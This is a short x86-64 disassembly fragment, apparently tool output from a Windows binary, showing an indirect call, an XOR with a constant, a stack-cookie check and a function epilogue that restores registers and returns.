lea r9, [rbp - 0x80]
lea r8, [rbp + 0x50]
lea rdx, [rsp + 0x28]
mov rcx, rdi
call r10
nop
movabs rax, 0xff00ff00ff00ff07
xor rbx, rax
mov qword [r12], rbx
mov rcx, qword [rbp + 0x80]
xor rcx, rsp
call fcn.140123840
lea r11, [rsp + 0x190]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret